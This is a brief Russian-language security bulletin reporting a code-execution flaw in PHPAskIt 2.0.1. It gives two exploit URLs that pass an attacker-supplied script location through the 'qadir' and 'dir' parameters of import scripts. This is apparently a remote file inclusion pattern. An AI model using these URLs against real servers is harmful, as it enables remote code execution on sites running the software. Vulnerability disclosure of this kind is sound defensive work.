Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в PHPAskIt.
Компьютер для продвинутых
пользователей
В этом выпуске:
PHPAskIt
ПО: PHPAskIt
Версия: 2.0.1
Уязвимость:
Уязвимость позволяет выполнить код на сервере. Использование: http://www.site.com/[phpaskit_path]/import/convertaa.php?qadir=[evil_scripts]
http://www.site.com/[phpaskit_path]/import/convertwakqa.php?dir=[evil_scripts]